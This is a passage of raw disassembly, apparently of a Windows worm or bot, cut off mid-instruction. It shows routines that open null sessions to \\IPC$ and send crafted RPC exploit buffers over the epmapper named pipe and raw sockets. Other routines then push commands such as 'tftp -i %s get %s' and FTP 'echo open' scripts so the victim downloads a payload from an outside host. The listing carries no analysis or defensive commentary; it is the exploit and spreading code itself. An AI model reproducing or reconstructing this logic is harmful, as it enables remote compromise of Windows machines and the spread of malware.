socket mov esi, eax cmp esi, 0FFFFFFFFh mov [ebp+var_4], esi jz loc_402EDA lea eax, [ebp+var_18] push 10h push eax push esi call dword_4211E4 ; connect cmp eax, 0FFFFFFFFh jz loc_402EDA mov ebx, dword_4211EC push edi push 89h push offset dword_424950 push esi call ebx ; send cmp eax, 0FFFFFFFFh jz short loc_402EDA push edi mov edi, 640h lea eax, [ebp+var_858] push edi push eax push esi mov esi, dword_4211E8 call esi ; recv push 0 push 0A8h push offset dword_4249DC push [ebp+var_4] call ebx ; send cmp eax, 0FFFFFFFFh jz short loc_402EDA push 0 lea eax, [ebp+var_858] push edi push eax push [ebp+var_4] call esi ; recv push 0 push 0DEh push offset dword_424A88 push [ebp+var_4] call ebx ; send cmp eax, 0FFFFFFFFh jz short loc_402EDA mov ebx, [ebp+var_4] push 0 lea eax, [ebp+var_858] push edi push eax push ebx call esi ; recv movsx eax, [ebp+var_814] sub eax, 30h jz short loc_402EE5 dec eax jz short loc_402EE1 loc_402EDA: ; CODE XREF: sub_402DDD+57j ; sub_402DDD+6Dj ... xor eax, eax jmp loc_402F7F ; --------------------------------------------------------------------------- loc_402EE1: ; CODE XREF: sub_402DDD+FBj push 0 jmp short loc_402F09 ; --------------------------------------------------------------------------- loc_402EE5: ; CODE XREF: sub_402DDD+F8j push 2 push ebx sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_402988 add esp, 0C4h test al, al jnz short loc_402F29 push 1 loc_402F09: ; CODE XREF: sub_402DDD+106j push ebx lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_402988 add esp, 0C4h test al, al jz short loc_402F30 loc_402F29: ; CODE XREF: sub_402DDD+128j mov [ebp+var_8], 1 loc_402F30: ; CODE XREF: sub_402DDD+14Aj push ebx call dword_4211F0 ; closesocket cmp [ebp+var_8], 0 jz short loc_402F7C push 0 lea eax, [ebp+var_218] push [ebp+arg_B0] push eax lea eax, [ebp+arg_14] push eax push [ebp+arg_0] call sub_412D4C lea eax, [ebp+var_218] push eax call sub_40B16D mov eax, [ebp+arg_A8] add esp, 18h imul eax, 3Ch inc dword_427340[eax] lea eax, dword_427340[eax] loc_402F7C: ; CODE XREF: sub_402DDD+15Ej push 1 pop eax loc_402F7F: ; CODE XREF: sub_402DDD+FFj pop edi pop esi pop ebx leave retn sub_402DDD endp ; --------------------------------------------------------------------------- push ebx push esi push edi lea esi, [esp+10h] sub esp, 0BCh mov dword ptr [esp+16Ch], 87h push 2Fh pop ecx mov edi, esp rep movsd call sub_4033CB push 2Fh lea esi, [esp+0D0h] pop ecx mov dword ptr [esp+16Ch], 1BDh mov edi, esp mov ebx, eax rep movsd call sub_403C8B add esp, 0BCh test ebx, ebx jnz short loc_402FD6 test eax, eax jz short loc_402FD9 loc_402FD6: ; CODE XREF: .nsp0:00402FD0j push 1 pop eax loc_402FD9: ; CODE XREF: .nsp0:00402FD4j pop edi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402FDD proc near ; CODE XREF: sub_4033CB+28p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 354h push ebx push esi push edi mov esi, offset aIpc ; "\\IPC$" lea edi, [ebp+var_C] mov ecx, 8Ah movsd movsd movsd mov esi, offset asc_4255F4 ; "\\\\" lea edi, [ebp+var_354] movsd movsw xor eax, eax lea edi, [ebp+var_34E] rep stosd stosw mov al, byte_438FBC push 45h mov [ebp+var_124], al pop ecx xor eax, eax lea edi, [ebp+var_123] rep stosd stosw stosb lea eax, [ebp+var_124] push 0FFh push eax push 0FFFFFFFFh push [ebp+arg_0] xor edi, edi push edi push edi call dword_421064 ; MultiByteToWideChar lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_415D9F lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_415D9F mov esi, [ebp+arg_4] lea eax, [ebp+var_354] add esp, 10h mov [esi+14h], eax mov eax, offset dword_438FB8 push edi push eax push eax push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+1Ch], edi call dword_43A438 cmp eax, 5 mov ebx, 4C3h jz short loc_4030A1 cmp eax, ebx jnz short loc_4030AB loc_4030A1: ; CODE XREF: sub_402FDD+BEj push edi push edi push edi push esi call dword_43A438 loc_4030AB: ; CODE XREF: sub_402FDD+C2j cmp eax, 5 jz short loc_4030B9 cmp eax, ebx jz short loc_4030B9 push 1 pop eax jmp short loc_4030BB ; --------------------------------------------------------------------------- loc_4030B9: ; CODE XREF: sub_402FDD+D1j ; sub_402FDD+D5j xor eax, eax loc_4030BB: ; CODE XREF: sub_402FDD+DAj pop edi pop esi pop ebx leave retn sub_402FDD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4030C0 proc near ; CODE XREF: sub_4033CB+7Ap ; sub_4033CB+15Ap var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 354h push esi push edi mov esi, offset aIpc ; "\\IPC$" lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset asc_4255F4 ; "\\\\" lea edi, [ebp+var_354] movsd movsw mov ecx, 8Ah xor eax, eax lea edi, [ebp+var_34E] push 45h rep stosd stosw mov al, byte_438FBC pop ecx mov [ebp+var_124], al xor eax, eax lea edi, [ebp+var_123] push 0FFh rep stosd stosw stosb lea eax, [ebp+var_124] xor esi, esi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push esi call dword_421064 ; MultiByteToWideChar lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_415D9F lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_415D9F add esp, 10h loc_403151: ; CODE XREF: sub_4030C0+AFj push esi lea eax, [ebp+var_354] push esi push eax call dword_43A2D8 test eax, eax jz short loc_403171 push 7D0h call dword_421060 ; Sleep jmp short loc_403151 ; --------------------------------------------------------------------------- loc_403171: ; CODE XREF: sub_4030C0+A2j push 1 pop eax pop edi pop esi leave retn sub_4030C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403178 proc near ; CODE XREF: sub_4033CB+A9p ; sub_4033CB+1E7p var_3004 = byte ptr -3004h var_2004 = byte ptr -2004h var_1FE0 = byte ptr -1FE0h var_1FD4 = byte ptr -1FD4h var_1F2D = byte ptr -1F2Dh var_1004 = byte ptr -1004h var_FFC = dword ptr -0FFCh var_FF4 = dword ptr -0FF4h var_F84 = dword ptr -0F84h var_F80 = dword ptr -0F80h var_F50 = dword ptr -0F50h var_F4C = dword ptr -0F4Ch var_F34 = dword ptr -0F34h var_E78 = dword ptr -0E78h var_CA4 = dword ptr -0CA4h var_C9C = dword ptr -0C9Ch var_C94 = byte ptr -0C94h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 3004h call sub_415D70 push esi push edi push offset byte_42C1FC mov esi, 0A7h push [ebp+arg_0] mov [ebp+var_4], esi call sub_40A171 pop ecx push eax lea eax, [ebp+var_3004] push 1000h push eax call sub_414E04 mov edi, eax add esp, 10h test edi, edi jz loc_4033C7 push ebx mov ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX" push 30h lea eax, [ebp+var_2004] push ebx push eax call sub_4155D0 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_415570 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+var_1F2D] push eax call sub_4155D0 add esp, 24h lea esi, [edi+0D7h] loc_4031FD: ; CODE XREF: sub_403178+D3j mov eax, esi push 10h cdq pop ecx idiv ecx cmp edx, 0Ch jz short loc_40324D mov esi, [ebp+var_4] push 30h lea eax, [ebp+var_2004] inc esi push ebx push eax mov [ebp+var_4], esi call sub_4155D0 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_415570 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+esi+var_1FD4] push eax call sub_4155D0 add esp, 24h lea esi, [esi+edi+30h] jmp short loc_4031FD ; --------------------------------------------------------------------------- loc_40324D: ; CODE XREF: sub_403178+90j cmp [ebp+arg_C4], 0 jz short loc_403268 cmp [ebp+arg_C0], 3 jz short loc_403271 cmp [ebp+arg_C0], 0 jmp short loc_40326F ; --------------------------------------------------------------------------- loc_403268: ; CODE XREF: sub_403178+DCj cmp [ebp+arg_C0], 3 loc_40326F: ; CODE XREF: sub_403178+EEj jnz short loc_40327A loc_403271: ; CODE XREF: sub_403178+E5j push 4 push offset dword_4255F0 jmp short loc_403281 ; --------------------------------------------------------------------------- loc_40327A: ; CODE XREF: sub_403178:loc_40326Fj push 4 push offset dword_4255EC loc_403281: ; CODE XREF: sub_403178+100j lea eax, [ebp+var_1FE0] push eax call sub_4155D0 add esp, 0Ch lea eax, [ebp+var_1004] push 360h push offset dword_425124 push eax call sub_4155D0 push 10h lea eax, [ebp+var_CA4] push offset dword_425488 push eax call sub_4155D0 lea eax, [ebp+var_2004] push esi push eax lea eax, [ebp+var_C94] push eax call sub_4155D0 lea edi, [esi+370h] push 3Ch push offset off_42549C lea eax, [ebp+edi+var_1004] push eax call sub_4155D0 add edi, 3Ch push 30h push offset dword_4254DC lea eax, [ebp+edi+var_1004] push eax call sub_4155D0 mov eax, esi add edi, 30h cdq sub eax, edx sar eax, 1 add [ebp+var_CA4], eax add [ebp+var_C9C], eax mov eax, [ebp+var_FFC] lea eax, [eax+esi-0Ch] mov [ebp+var_FFC], eax mov eax, [ebp+var_FF4] lea eax, [eax+esi-0Ch] mov [ebp+var_FF4], eax mov eax, [ebp+var_F84] lea eax, [eax+esi-0Ch] mov [ebp+var_F84], eax mov eax, [ebp+var_F80] lea eax, [eax+esi-0Ch] mov [ebp+var_F80], eax mov eax, [ebp+var_F50] lea eax, [eax+esi-0Ch] mov [ebp+var_F50], eax mov eax, [ebp+var_F4C] lea eax, [eax+esi-0Ch] mov [ebp+var_F4C], eax mov eax, [ebp+var_F34] lea eax, [eax+esi-0Ch] mov [ebp+var_F34], eax mov eax, [ebp+var_E78] lea eax, [eax+esi-0Ch] lea esi, [edi+1] push esi mov [ebp+var_E78], eax call sub_415DC9 add esp, 40h mov ebx, eax push esi push 0 push ebx call sub_415570 lea eax, [ebp+var_1004] push edi push eax push ebx call sub_4155D0 mov eax, [ebp+arg_BC] add esp, 18h mov [eax], edi mov eax, ebx pop ebx loc_4033C7: ; CODE XREF: sub_403178+3Ej pop edi pop esi leave retn sub_403178 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4033CB proc near ; CODE XREF: .nsp0:00402FA3p ; sub_40778B+1E6p ; DATA XREF: ... var_1338 = byte ptr -1338h var_338 = byte ptr -338h var_138 = byte ptr -138h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_14 = byte ptr 1Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h arg_B0 = dword ptr 0B8h arg_B4 = dword ptr 0BCh push ebp mov ebp, esp mov eax, 1338h call sub_415D70 cmp [ebp+arg_A0], 1BDh push ebx push esi push edi jnz loc_403539 lea eax, [ebp+var_34] push eax lea eax, [ebp+arg_4] push eax call sub_402FDD pop ecx test eax, eax pop ecx jz loc_403649 lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_138] push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper" push eax call sub_4154E7 add esp, 0Ch xor ebx, ebx lea eax, [ebp+var_138] push ebx push 80h push 3 push ebx push 1 push 0C0000000h push eax call dword_421078 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_403450 loc_403441: ; CODE XREF: sub_4033CB+126j lea eax, [ebp+arg_4] push eax call sub_4030C0 pop ecx jmp loc_403649 ; --------------------------------------------------------------------------- loc_403450: ; CODE XREF: sub_4033CB+74j lea eax, [ebp+arg_4] push 2 push eax call sub_412B98 pop ecx lea esi, [ebp+arg_0] pop ecx push 1 push eax lea eax, [ebp+var_10] push eax sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_403178 add esp, 0C8h cmp eax, ebx mov [ebp+var_8], eax jz short loc_4034E8 mov edi, 186A0h push edi call sub_415DC9 mov esi, eax push edi push ebx push esi call sub_415570 add esp, 10h lea eax, [ebp+var_C] mov edi, 2710h push ebx push eax push edi push esi push 48h push offset dword_4250D8 push [ebp+var_4] call dword_421074 ; TransactNamedPipe cmp byte ptr [esi+2], 0Ch jnz short loc_4034D8 lea eax, [ebp+var_14] push ebx push eax push [ebp+var_10] push [ebp+var_8] push [ebp+var_4] call dword_421070 ; WriteFile test eax, eax jnz short loc_4034F6 loc_4034D8: ; CODE XREF: sub_4033CB+F3j push esi call sub_415E3D push [ebp+var_8] call sub_415E3D pop ecx pop ecx loc_4034E8: ; CODE XREF: sub_4033CB+B9j push [ebp+var_4] call dword_42106C ; CloseHandle jmp loc_403441 ; --------------------------------------------------------------------------- loc_4034F6: ; CODE XREF: sub_4033CB+10Bj lea eax, [ebp+var_C] push ebx push eax push edi push esi push [ebp+var_4] call dword_421068 ; ReadFile push [ebp+var_8] mov edi, eax call sub_415E3D push esi call sub_415E3D pop ecx pop ecx push [ebp+var_4] call dword_42106C ; CloseHandle lea eax, [ebp+arg_4] push eax call sub_4030C0 cmp edi, 1 pop ecx jnz loc_40365A jmp loc_403649 ; --------------------------------------------------------------------------- loc_403539: ; CODE XREF: sub_4033CB+1Aj lea eax, [ebp+arg_4] push 1 push eax call sub_412B98 mov esi, eax pop ecx cmp esi, 1 pop ecx jz loc_403649 xor ebx, ebx push ebx push 1 push 2 call dword_43A418 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_403649 push 10h lea eax, [ebp+var_24] push ebx push eax call sub_415570 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+arg_A0] call dword_43A398 ; ntohs mov [ebp+var_22], ax lea eax, [ebp+arg_4] push eax call dword_43A3D8 ; inet_addr mov [ebp+var_20], eax push ebx lea eax, [ebp+var_C] push esi push eax lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_403178 mov esi, eax add esp, 0C8h cmp esi, ebx mov [ebp+var_8], esi jnz short loc_4035CB push [ebp+var_4] jmp short loc_403643 ; --------------------------------------------------------------------------- loc_4035CB: ; CODE XREF: sub_4033CB+1F9j mov edi, [ebp+var_4] lea eax, [ebp+var_24] push 10h push eax push edi call dword_43A340 ; connect cmp eax, 0FFFFFFFFh jnz short loc_4035E3 loc_4035E0: ; CODE XREF: sub_4033CB+22Aj push esi jmp short loc_40363C ; --------------------------------------------------------------------------- loc_4035E3: ; CODE XREF: sub_4033CB+213j push ebx push 48h push offset dword_4250D8 push edi call dword_43A3E8 ; send cmp eax, 0FFFFFFFFh jz short loc_4035E0 mov esi, 1000h push ebx lea eax, [ebp+var_1338] push esi push eax push edi call dword_43A3B0 ; recv push ebx push [ebp+var_C] push [ebp+var_8] push edi call dword_43A3E8 ; send cmp eax, 0FFFFFFFFh jnz short loc_403624 push [ebp+var_8] jmp short loc_40363C ; --------------------------------------------------------------------------- loc_403624: ; CODE XREF: sub_4033CB+252j push ebx lea eax, [ebp+var_1338] push esi push eax push edi call dword_43A3B0 ; recv push [ebp+var_8] cmp eax, 0FFFFFFFFh jnz short loc_40364D loc_40363C: ; CODE XREF: sub_4033CB+216j ; sub_4033CB+257j call sub_415E3D pop ecx push edi loc_403643: ; CODE XREF: sub_4033CB+1FEj call dword_43A430 ; closesocket loc_403649: ; CODE XREF: sub_4033CB+31j ; sub_4033CB+80j ... xor eax, eax jmp short loc_4036CA ; --------------------------------------------------------------------------- loc_40364D: ; CODE XREF: sub_4033CB+26Fj call sub_415E3D pop ecx push edi call dword_43A430 ; closesocket loc_40365A: ; CODE XREF: sub_4033CB+163j xor esi, esi loc_40365C: ; CODE XREF: sub_4033CB+2B1j lea eax, [ebp+var_338] push eax call sub_40B24D test eax, eax pop ecx jnz short loc_403680 push 1388h call dword_421060 ; Sleep inc esi cmp esi, 6 jl short loc_40365C jmp short loc_4036C7 ; --------------------------------------------------------------------------- loc_403680: ; CODE XREF: sub_4033CB+2A0j cmp [ebp+arg_B4], ebx jnz short loc_4036A5 push ebx lea eax, [ebp+var_338] push [ebp+arg_B0] push eax lea eax, [ebp+arg_14] push eax push [ebp+arg_0] call sub_412D4C add esp, 14h loc_4036A5: ; CODE XREF: sub_4033CB+2BBj lea eax, [ebp+var_338] push eax call sub_40B16D mov eax, [ebp+arg_A8] pop ecx imul eax, 3Ch inc dword_427340[eax] lea eax, dword_427340[eax] loc_4036C7: ; CODE XREF: sub_4033CB+2B3j push 1 pop eax loc_4036CA: ; CODE XREF: sub_4033CB+280j pop edi pop esi pop ebx leave retn sub_4033CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4036CF proc near ; DATA XREF: .nsp0:00423004o jmp $+5 sub_4036CF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4036D4 proc near push 0BB80h push 76Ch call sub_414098 pop ecx mov dword_438FC0, eax pop ecx retn sub_4036D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4036EB proc near ; CODE XREF: sub_40384C+42Ap var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_415570 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_43A3D8 ; inet_addr mov [ebp+var_C], eax mov ax, word ptr dword_438FC0 push eax call dword_43A398 ; ntohs push esi push 1 push 2 mov [ebp+var_E], ax call dword_43A418 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_403825 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43A340 ; connect cmp eax, 0FFFFFFFFh jz loc_403825 push esi lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_43A3B0 ; recv mov esi, offset byte_42C1FC push esi push esi push [ebp+arg_0] call sub_40A171 pop ecx mov edi, 190h push eax push offset aTftpISGetS ; "tftp -i %s get %s\r\n" lea eax, [ebp+var_1A0] push edi push eax call sub_415A6A add esp, 18h push esi push esi push dword_438FDC push [ebp+arg_0] call sub_40A171 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push edi push eax call sub_415A6A add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_43A3E8 ; send cmp eax, 0FFFFFFFFh jz short loc_403825 push 1F4h call dword_421060 ; Sleep push esi push offset dword_425050 lea eax, [ebp+var_1A0] push edi push eax call sub_415A6A add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_43A3E8 ; send cmp eax, 0FFFFFFFFh jnz short loc_403829 loc_403825: ; CODE XREF: sub_4036EB+51j ; sub_4036EB+67j ... xor al, al jmp short loc_403847 ; --------------------------------------------------------------------------- loc_403829: ; CODE XREF: sub_4036EB+138j push 0 lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_43A3B0 ; recv push ebx call dword_43A430 ; closesocket mov al, 1 loc_403847: ; CODE XREF: sub_4036EB+13Cj pop edi pop esi pop ebx leave retn sub_4036EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40384C proc near ; CODE XREF: sub_403C8B+125p ; sub_403C8B+147p var_89B4 = byte ptr -89B4h var_894C = byte ptr -894Ch var_68DC = byte ptr -68DCh var_686C = byte ptr -686Ch var_5DA8 = byte ptr -5DA8h var_4804 = byte ptr -4804h var_4803 = byte ptr -4803h var_3770 = byte ptr -3770h var_2CAC = byte ptr -2CACh var_2CAB = byte ptr -2CABh var_2CA8 = byte ptr -2CA8h var_2C2C = byte ptr -2C2Ch var_245C = byte ptr -245Ch var_1FB1 = byte ptr -1FB1h var_1CC4 = byte ptr -1CC4h var_14E0 = byte ptr -14E0h var_14D0 = byte ptr -14D0h var_11AC = byte ptr -11ACh var_11A8 = byte ptr -11A8h var_119C = byte ptr -119Ch var_F14 = byte ptr -0F14h var_E74 = byte ptr -0E74h var_768 = dword ptr -768h var_758 = byte ptr -758h var_744 = byte ptr -744h var_104 = byte ptr -104h var_103 = byte ptr -103h var_B4 = byte ptr -0B4h var_B1 = byte ptr -0B1h var_87 = byte ptr -87h var_85 = byte ptr -85h var_84 = byte ptr -84h var_3C = byte ptr -3Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp mov eax, 89B4h call sub_415D70 mov eax, dword_4250D0 push ebx mov [ebp+var_10], eax mov eax, dword_4250D4 mov [ebp+var_C], eax push esi lea eax, [ebp+arg_4] push edi push eax lea eax, [ebp+var_3C] push offset loc_4250C4 push eax call sub_4154E7 add esp, 0Ch xor ebx, ebx xor esi, esi lea eax, [ebp+var_103] loc_40388B: ; CODE XREF: sub_40384C+4Ej mov cl, [ebp+esi+var_3C] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, 28h jl short loc_40388B push 60h lea eax, [ebp+var_B4] push offset dword_425B10 push eax call sub_4155D0 lea eax, [ebp+var_3C] push eax call sub_415CF0 shl eax, 1 push eax lea eax, [ebp+var_104] push eax lea eax, [ebp+var_84] push eax call sub_4155D0 add esp, 1Ch lea eax, [ebp+var_3C] push 9 push (offset aC_0+3) push eax call sub_415CF0 pop ecx lea eax, [ebp+eax*2+var_85] push eax call sub_4155D0 lea eax, [ebp+var_3C] push eax call sub_415CF0 add al, 1Ah push 1 shl al, 1 mov [ebp+var_1], al lea eax, [ebp+var_1] push eax lea eax, [ebp+var_B1] push eax call sub_4155D0 lea eax, [ebp+var_3C] push eax call sub_415CF0 shl al, 1 add al, 9 push 1 mov [ebp+var_2], al lea eax, [ebp+var_2] push eax lea eax, [ebp+var_87] push eax call sub_4155D0 mov ax, word ptr dword_438FC0 add esp, 2Ch push eax call dword_43A398 ; ntohs xor eax, 9999h push 2 mov [ebp+var_8], eax lea eax, [ebp+var_8] push eax push offset dword_425810 call sub_4155D0 add esp, 0Ch cmp [ebp+arg_C0], ebx jz loc_403A48 mov edi, 0DACh lea eax, [ebp+var_1CC4] push edi push 90h push eax call sub_415570 mov eax, [ebp+arg_C0] push 4 imul eax, 3Ch lea eax, dword_425F38[eax] mov [ebp+var_14], eax push eax lea eax, [ebp+var_14E0] push eax call sub_4155D0 mov esi, offset loc_425760 push esi call sub_415CF0 push eax lea eax, [ebp+var_14D0] push esi push eax call sub_4155D0 push 4 lea eax, [ebp+var_11AC] push offset loc_4250BC push eax call sub_4155D0 push 4 lea eax, [ebp+var_11A8] push [ebp+var_14] push eax call sub_4155D0 add esp, 40h push esi call sub_415CF0 push eax lea eax, [ebp+var_119C] push esi push eax call sub_4155D0 add esp, 10h xor esi, esi lea eax, [ebp+var_4803] loc_403A01: ; CODE XREF: sub_40384C+1C6j mov cl, [ebp+esi+var_1CC4] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, edi jl short loc_403A01 mov esi, 1C52h lea eax, [ebp+var_89B4] push esi push 31h push eax mov [ebp+var_2CAC], bl mov [ebp+var_2CAB], bl call sub_415570 push esi lea eax, [ebp+var_68DC] push 31h push eax call sub_415570 add esp, 18h jmp short loc_403A9F ; --------------------------------------------------------------------------- loc_403A48: ; CODE XREF: sub_40384C+118j push 7D0h lea eax, [ebp+var_F14] push 90h push eax call sub_415570 mov esi, offset loc_425760 push esi call sub_415CF0 push eax lea eax, [ebp+var_E74] push esi push eax call sub_4155D0 lea eax, [ebp+var_10] push eax call sub_415CF0 push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_758] push eax call sub_4155D0 mov eax, dword_425F38 add esp, 2Ch mov [ebp+var_768], eax loc_403A9F: ; CODE XREF: sub_40384C+1FAj push 0E29h lea eax, [ebp+var_2CA8] push 31h push eax call sub_415570 movsx eax, [ebp+var_1] mov edi, [ebp+arg_BC] add esp, 0Ch add eax, 4 push ebx push eax lea eax, [ebp+var_B4] push eax push edi call dword_43A3E8 ; send cmp eax, 0FFFFFFFFh jnz short loc_403ADE loc_403AD7: ; CODE XREF: sub_40384C+2B9j ; sub_40384C+2E0j ... xor al, al jmp loc_403C86 ; --------------------------------------------------------------------------- loc_403ADE: ; CODE XREF: sub_40384C+289j mov esi, 640h push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43A3B0 ; recv push ebx push 68h push offset dword_425B74 push edi call dword_43A3E8 ; send cmp eax, 0FFFFFFFFh jz short loc_403AD7 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43A3B0 ; recv push ebx push 0A0h push offset dword_425BE0 push edi call dword_43A3E8 ; send cmp eax, 0FFFFFFFFh jz short loc_403AD7 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43A3B0 ; recv cmp [ebp+arg_C0], ebx jz loc_403BF4 push 68h lea eax, [ebp+var_89B4] push offset dword_425D98 push eax call sub_4155D0 lea eax, [ebp+var_4804] push 1B5Ah push eax lea eax, [ebp+var_894C] push eax call sub_4155D0 push 70h lea eax, [ebp+var_68DC] push offset dword_425E04 push eax call sub_4155D0 lea eax, [ebp+var_3770] push 0A5Eh push eax lea eax, [ebp+var_686C] push eax call sub_4155D0 push 84h lea eax, [ebp+var_5DA8] push offset dword_425E78 push eax call sub_4155D0 add esp, 3Ch lea eax, [ebp+var_89B4] push ebx push 10FCh push eax push edi call dword_43A3E8 ; send cmp eax, 0FFFFFFFFh jz loc_403AD7 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43A3B0 ; recv push ebx push 0FDCh lea eax, [ebp+var_68DC] jmp short loc_403C4A ; --------------------------------------------------------------------------- loc_403BF4: ; CODE XREF: sub_40384C+2F8j push 7Ch lea eax, [ebp+var_2CA8] push offset dword_425C84 push eax call sub_4155D0 lea eax, [ebp+var_F14] push 7D0h push eax lea eax, [ebp+var_2C2C] push eax call sub_4155D0 push 90h lea eax, [ebp+var_245C] push offset off_425D04 push eax call sub_4155D0 add esp, 24h mov [ebp+var_1FB1], bl lea eax, [ebp+var_2CA8] push ebx push 0CF8h loc_403C4A: ; CODE XREF: sub_40384C+3A6j push eax push edi call dword_43A3E8 ; send cmp eax, 0FFFFFFFFh jz loc_403AD7 push 12Ch call dword_421060 ; Sleep sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_4036EB add esp, 0BCh test al, al setnz al loc_403C86: ; CODE XREF: sub_40384C+28Dj pop edi pop esi pop ebx leave retn sub_40384C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403C8B proc near ; CODE XREF: .nsp0:00402FC3p ; .nsp0:00403E78p ... var_854 = byte ptr -854h var_810 = byte ptr -810h var_214 = byte ptr -214h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_14 = byte ptr 1Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h arg_B0 = dword ptr 0B8h push ebp mov ebp, esp sub esp, 854h push ebx push esi push edi push 0BB80h push 76Ch call sub_414098 xor edi, edi push 10h lea eax, [ebp+var_14] push edi push eax mov [ebp+var_4], edi call sub_415570 add esp, 14h lea eax, [ebp+arg_4] mov [ebp+var_14], 2 push eax call dword_43A3D8 ; inet_addr push [ebp+arg_A0] mov [ebp+var_10], eax call dword_43A398 ; ntohs push 6 push 1 push 2 mov [ebp+var_12], ax call dword_43A418 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_403D93 lea eax, [ebp+var_14] push 10h push eax push ebx call dword_43A340 ; connect cmp eax, 0FFFFFFFFh jz loc_403D93 push edi push 89h push offset dword_4258F8 push ebx call dword_43A3E8 ; send cmp eax, 0FFFFFFFFh jz short loc_403D93 mov esi, 640h push edi lea eax, [ebp+var_854] push esi push eax push ebx call dword_43A3B0 ; recv push edi push 0A8h push offset dword_425984 push ebx call dword_43A3E8 ; send cmp eax, 0FFFFFFFFh jz short loc_403D93 push edi lea eax, [ebp+var_854] push esi push eax push ebx call dword_43A3B0 ; recv push edi push 0DEh push offset dword_425A30 push ebx call dword_43A3E8 ; send cmp eax, 0FFFFFFFFh jz short loc_403D93 push edi lea eax, [ebp+var_854] push esi push eax push ebx call dword_43A3B0 ; recv movsx eax, [ebp+var_810] sub eax, 30h jz short loc_403D9D dec eax jz short loc_403D9A loc_403D93: ; CODE XREF: sub_403C8B+63j ; sub_403C8B+79j ... xor 